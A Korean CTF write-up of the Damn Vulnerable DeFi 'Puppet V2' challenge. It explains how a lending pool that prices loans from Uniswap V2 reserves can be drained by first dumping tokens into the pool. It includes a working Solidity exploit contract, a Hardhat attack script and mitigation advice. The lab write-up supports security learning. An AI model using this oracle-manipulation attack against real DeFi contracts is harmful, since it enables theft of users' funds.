Damn Vulnerable DeFi-PuppetV2
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
유니스왑 V2 풀을 교란하여 유니스왑 풀을 오라클로 이용하는 랜딩 컨트랙트에서 저렴한 가격으로 토큰을 빼내었다.
Keyword
oracle, uniswap v2, swap pool, theft
Vulnerability
The developers of the previous pool seem to have learned the lesson. And released a new version! Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough. You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.
유니스왑 V2를 오라클로 이용하는 랜딩 풀이 있다. 랜딩 풀에 ETH를 제공하면 그에 상응하는 DVT 토큰을 빌릴 수 있다. 공격자는 20 ETH와 10000 DVT를 가지고 시작한다. 이 때, 랜딩 풀의 DVT 토큰을 전부 꺼내와야 한다.
다음은 tokenAmount 만큼을 빌릴 때 필요한 WETH의 양을 계산하는 코드이다. UniswapV2Library 는 유니스왑에서 제공하는 라이브러리이다. 유니스왑 풀에서 tokenAmount 만큼의 DVT에 해당하는 가치의 WETH 개수 정보를 가져온다. 그리고 이의 3배를 요청한다. 즉, 유니스왑풀 가격의 3배만큼의 WETH 지불해야 DVT를 빌릴 수 있다.
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
uint256 depositFactor = 3;
// @audit-info 빌리고자 하는 DVT 가격의 3배만큼의 WETH를 지불해야 한다.
return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether);
}
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
// @audit-info 유니스왑 풀의 WETH 와 DVT balance를 얻는다. reserve0 = uint112(balance0); reserve1 = uint112(balance1); 로 실제로는 112바이트로 짤린 값
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
// @audit-info amount 만큼의 DVT 토큰을 지불할 때 받아야 하는 WETH 수 (=원하는 DVT 에 해당하는 WETH 가격)
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}이전 문제와 동일하게, 유니스왑 풀을 교란하여 오라클을 교란하면 DVT 토큰을 싼 가격에 빌려갈 수 있다.
다음은 PoC 컨트랙트이다. 이 컨트랙트를 배포하기 전에 공격자는 유니스왑 풀을 교란하여 오라클을 조작할 것이다. 배포시 필요한 만큼의 ETH를 받아 랜딩 풀을 공격한다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}
interface IWETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}
interface LandingPool {
function borrow(uint256 borrowAmount) external;
function calculateDepositOfWETHRequired(uint256 tokenAmount) external view returns (uint256);
}
contract PuppetV2PoolPoC {
constructor(IWETH _weth, IERC20 _token, LandingPool _lendingPool) payable {
// 풀 가격 조작은 컨트랙트 외부에서 이미 처리
_weth.deposit{value: msg.value}();
_weth.approve(address(_lendingPool), type(uint256).max);
_lendingPool.borrow(_token.balanceOf(address(_lendingPool)));
_weth.withdraw(_weth.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
_token.transfer(msg.sender, _token.balanceOf(address(this)));
}
}다음은 PoC 배포 스크립트이다. 공격 컨트랙트를 배포하기 전, 공격자가 소유한 DVT 토큰을 유니스왑 풀에서 ETH로 스왑한다. 이를 통해 DVT의 가격이 떨어지고, 오라클에서 저렴한 가격으로 DVT 토큰을 빌릴 수 있게 된다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
// 유저의 DVT를 이용해 풀을 교란
await token.connect(player).approve(uniswapRouter.address, ethers.constants.MaxUint256);
await uniswapRouter.connect(player).swapExactTokensForETH(
PLAYER_INITIAL_TOKEN_BALANCE, // amountIn
1, // amountOutMin
[token.address, weth.address], // path
player.address, // to
ethers.constants.MaxUint256 // deadline
);
// 필요한 이더 양 구함
const neededEth = await lendingPool.calculateDepositOfWETHRequired(token.balanceOf(lendingPool.address));
// 익스플로잇
const puppetFactory = await ethers.getContractFactory('PuppetV2PoolPoC', player);
await puppetFactory.deploy(weth.address, token.address, lendingPool.address, {
value: neededEth
});
});Impact
오라클을 조작하여 적은 금액으로 다량의 토큰을 빌려갈 수 있다. 랜딩풀의 토큰을 탈취당한다.
Mitigation
가격 차이가 너무 커지면 기능을 정지하거나, 과거 기록의 평균을 이용하여 갑작스러운 변화에 덜 민감하게 반응하도록 하거나, 조작하기 어려운 큰 규모의 풀을 이용하거나, 오라클을 여러 개 사용하는 등의 대비가 필요하다.
tags: writeup, blockchain, solidity, smart contract, defi, dex, crypto theft, oracle manipulation, price oracle, uniswap integration, uniswap-v2 integration